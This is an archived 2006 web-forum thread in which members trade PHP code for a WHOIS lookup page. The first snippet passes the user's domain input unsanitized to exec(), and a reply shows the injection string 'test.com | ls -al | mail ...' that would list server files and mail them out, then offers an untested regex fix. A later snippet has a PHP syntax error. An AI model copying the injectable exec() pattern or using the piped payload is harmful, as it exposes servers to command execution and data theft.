[advanced search]
 

Go Back   NamePros.com > Discussion > Web Design & Development > Programming

Programming PHP, Perl, Ruby on Rails, AJAX, HTML, XHTML, CSS, JavaScript, MySQL and any other coding topics.


Closed Thread
 
LinkBack Thread Tools
Old 08-24-2006, 03:13 AM   #1 (permalink)
creativeON.com
 
foka's Avatar
 
Join Date: Mar 2006
Location: the Planet Earth
Posts: 916
1,464.50 NP$ (Donate)

foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future

South Asia Earthquake Relief South Asia Earthquake Relief
Best who is script

Please recomend a customizeable whois script with cacheing...

Free or Paid both will work.
__________________
Free link directory: links.pk

Hosting services since 2001: http://www.creativeON.com
foka is offline  
Old 08-24-2006, 03:28 AM   #2 (permalink)
tm
Senior Member
 
tm's Avatar
 
Join Date: Nov 2005
Location: on a oil rig just off Ireland
Posts: 1,409
374.65 NP$ (Donate)

tm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of light


PHP Code:
<?php
$domain
= $_GET['domain'];
exec("whois $domain", $whois_results, $error);
foreach(
$whois_results as $line) {
echo
$line."<br />";
}
?>
I think that's it. Just wrote it so can't test.
__________________
You design in photoshop, I code into valid XHTML/CSS.
Professional PSD, PNG or HTML to tableless XHTML/CSS designs.
For more info, send me a PM.
tm is offline  
Old 08-24-2006, 03:40 AM   #3 (permalink)
creativeON.com
 
foka's Avatar
 
Join Date: Mar 2006
Location: the Planet Earth
Posts: 916
1,464.50 NP$ (Donate)

foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future

South Asia Earthquake Relief South Asia Earthquake Relief
thanks for showing the way to do it!

but i was asking for a full/ install able working script.
__________________
Free link directory: links.pk

Hosting services since 2001: http://www.creativeON.com
foka is offline  
Old 08-24-2006, 04:00 AM   #4 (permalink)
tm
Senior Member
 
tm's Avatar
 
Join Date: Nov 2005
Location: on a oil rig just off Ireland
Posts: 1,409
374.65 NP$ (Donate)

tm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of light


That's very customizeable. Just place it wherever your page is, and have the URL as page.php?domain=example.com. You could even have a form on a previous page that would look something like this:

HTML Code:
<form action="page.php" method="get">
<input type="text" name="domain"><input type="submit" value="Whois?">
</form> 
__________________
You design in photoshop, I code into valid XHTML/CSS.
Professional PSD, PNG or HTML to tableless XHTML/CSS designs.
For more info, send me a PM.
tm is offline  
Old 08-24-2006, 06:04 AM   #5 (permalink)
creativeON.com
 
foka's Avatar
 
Join Date: Mar 2006
Location: the Planet Earth
Posts: 916
1,464.50 NP$ (Donate)

foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future

South Asia Earthquake Relief South Asia Earthquake Relief
wow, the form was the missing part. I will impliment it in a day, and will bother you again on this if lost.
__________________
Free link directory: links.pk

Hosting services since 2001: http://www.creativeON.com
foka is offline  
Old 08-24-2006, 10:50 AM   #6 (permalink)
NamePros Regular
 
baxter's Avatar
 
Join Date: Apr 2006
Posts: 289
1,990.00 NP$ (Donate)

baxter is a jewel in the roughbaxter is a jewel in the roughbaxter is a jewel in the rough

Ethan Allen Fund Save The Children
Quote:
Originally Posted by tm
PHP Code:
<?php
$domain
= $_GET['domain'];
exec("whois $domain", $whois_results, $error);
foreach(
$whois_results as $line) {
echo
$line."<br />";
}
?>
I think that's it. Just wrote it so can't test.
You'll want to sanitize the $_GET['domain'] or you won't like the result of submitting the form with thiis as the domain:

test.com | ls -al | mail youremail@email.com

basically gives them shell access to your server. A way you can sanitize it is by doing: Untested

PHP Code:
<?php
if( preg_match('/\\b(?P<subdomain>(?:[-a-z0-9]+\\.)+)?(?P<domain>[-a-z0-9]+)\\.(?P<tld>[a-z]{2,6})(\\/[-a-z0-9&@=~_.?\\/]*)?\\\??(\\\?[-A-Za-z0-9\\/=~]*)?/i', $_GET['domain'], $match) )
$domain = $match['domain'].".".$match['tld'];
exec("whois $domain", $whois_results, $error);
foreach(
$whois_results as $line) {
echo
$line."<br />";
}
?>
baxter is offline  
Old 08-24-2006, 10:54 AM   #7 (permalink)
tm
Senior Member
 
tm's Avatar
 
Join Date: Nov 2005
Location: on a oil rig just off Ireland
Posts: 1,409
374.65 NP$ (Donate)

tm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of lighttm is a glorious beacon of light


woops, guess that would have been bad :$
__________________
You design in photoshop, I code into valid XHTML/CSS.
Professional PSD, PNG or HTML to tableless XHTML/CSS designs.
For more info, send me a PM.
tm is offline  
Old 08-24-2006, 10:59 AM   #8 (permalink)
Senior Member
 
seeker's Avatar
 
Join Date: May 2004
Posts: 1,149
136.00 NP$ (Donate)

seeker is just really niceseeker is just really niceseeker is just really niceseeker is just really nice


it is better to use a script that has some sort of image authentication to prevent bots from harvesting email addresses and causing server stress...

I use Matt's whois. http://www.mattsscripts.co.uk/mwhois.htm
However, I currently disabled it for the above mentioned reasons.
other than that, it is extremelly good, custumizable (to change some fuctions and display), and fast.
__________________
Seek and you shall find!
seeker is offline  
Old 08-24-2006, 11:59 AM   #9 (permalink)
NamePros Regular
 
baxter's Avatar
 
Join Date: Apr 2006
Posts: 289
1,990.00 NP$ (Donate)

baxter is a jewel in the roughbaxter is a jewel in the roughbaxter is a jewel in the rough

Ethan Allen Fund Save The Children
Quote:
Originally Posted by tm
woops, guess that would have been bad :$
no worries bro just always be careful of anything you pass to exec eval system etc

Bax
baxter is offline  
Old 08-25-2006, 01:37 AM   #10 (permalink)
creativeON.com
 
foka's Avatar
 
Join Date: Mar 2006
Location: the Planet Earth
Posts: 916
1,464.50 NP$ (Donate)

foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future

South Asia Earthquake Relief South Asia Earthquake Relief
Quote:
Originally Posted by seeker

I use Matt's whois. http://www.mattsscripts.co.uk/mwhois.htm
However, I currently disabled it for the above mentioned reasons.
other than that, it is extremelly good, custumizable (to change some fuctions and display), and fast.
thanks seeker, for a person like me with no php experince, it would be better to use an anthiticated script that to develop.
__________________
Free link directory: links.pk

Hosting services since 2001: http://www.creativeON.com
foka is offline  
Old 08-25-2006, 02:01 AM   #11 (permalink)
Eating Pie
 
iNod's Avatar
 
Join Date: Nov 2004
Location: Canada
Posts: 2,289
126.05 NP$ (Donate)

iNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud ofiNod has much to be proud of

Special Olympics AIDS/HIV Cystic Fibrosis Save The Children Baby Health Cystic Fibrosis
I am going to give Mr WhoIS an overlook and I will upload a new copy for you seeker that will include a simple image as an email.

- Steve
__________________
I feel old.
iNod is offline  
Old 08-25-2006, 02:23 AM   #12 (permalink)
NamePros Legend
 
weblord's Avatar
 
Join Date: Dec 2005
Location: Philippines - www.Nabaza.com
Posts: 19,840
21,700.43 NP$ (Donate)

weblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatnessweblord Has achieved greatness

Autism Protect Our Planet
i got one in .cgi about 190+ ext.
weblord is offline  
Old 08-25-2006, 02:43 AM   #13 (permalink)
creativeON.com
 
foka's Avatar
 
Join Date: Mar 2006
Location: the Planet Earth
Posts: 916
1,464.50 NP$ (Donate)

foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future

South Asia Earthquake Relief South Asia Earthquake Relief
Quote:
Originally Posted by iNod
I am going to give Mr WhoIS an overlook and I will upload a new copy for you seeker that will include a simple image as an email.

- Steve
We will be waiting for it anxiously.
__________________
Free link directory: links.pk

Hosting services since 2001: http://www.creativeON.com
foka is offline  
Old 08-27-2006, 08:52 AM   #14 (permalink)
New Member
 
Join Date: Aug 2005
Posts: 17
24.00 NP$ (Donate)

ginocote is an unknown quantity at this point


The bes free whois scripts

Hi,

I used Dev whois for www.toolurl.com it's the best i found,

A new one i used for www.woislookup.com
you will see where it come from at the end of the webpage after a search.

Cheer
ginocote is offline  
Old 08-27-2006, 11:07 PM   #15 (permalink)
creativeON.com
 
foka's Avatar
 
Join Date: Mar 2006
Location: the Planet Earth
Posts: 916
1,464.50 NP$ (Donate)

foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future

South Asia Earthquake Relief South Asia Earthquake Relief
Quote:
Originally Posted by ginocote
I used Dev whois for www.toolurl.com it's the best i found,

A new one i used for www.woislookup.com
you will see where it come from at the end of the webpage after a search.
Thanks, toolurl seems to quite cool. I will be looking into it further.
__________________
Free link directory: links.pk

Hosting services since 2001: http://www.creativeON.com
foka is offline  
Old 08-27-2006, 11:19 PM   #16 (permalink)
NamePros Regular
 
Jim_'s Avatar
 
Join Date: Aug 2005
Posts: 585
285.40 NP$ (Donate)

Jim_ is a name known to allJim_ is a name known to allJim_ is a name known to allJim_ is a name known to allJim_ is a name known to allJim_ is a name known to all

Save The Children
Here's a way that queries an external whois server:

(ripped and modified a bit from my domain checker script)
PHP Code:
<?php
function whois_socket($xserver, $xdomain) {
$sock = fsockopen($xserver,43) or return "Error Connecting To Whois Server";
fputs($sock,"$xdomain\r\n");
while(!
feof($sock))
  
$result .= fgets($sock,128);
fclose($sock);
return
$result;
}

//example usage:
if(isset($_GET['domain']))
  echo
"<pre>"whois_socket("whois.nsiregistry.net", $_GET['domain']) . "</pre>\n";
?>
<form action="?" method="get">
<input name="domain" type="text" value="google.com"><br />
<input type="submit" value="Go!">
</form>
__________________
ask me about the internet
Jim_ is offline  
Old 08-31-2006, 04:03 AM   #17 (permalink)
creativeON.com
 
foka's Avatar
 
Join Date: Mar 2006
Location: the Planet Earth
Posts: 916
1,464.50 NP$ (Donate)

foka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant futurefoka has a brilliant future

South Asia Earthquake Relief South Asia Earthquake Relief
Quote:
Originally Posted by Jim_
Here's a way that queries an external whois server:
Thx, jim

and all others for help.

I am trying the scripts one by one
__________________
Free link directory: links.pk

Hosting services since 2001: http://www.creativeON.com
foka is offline  
Closed Thread


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Site Sponsors
Advertise your business at NamePros

All times are GMT -7. The time now is 11:32 PM.


Powered by: vBulletin® Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.3.0
Template-Modifications by TMS
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85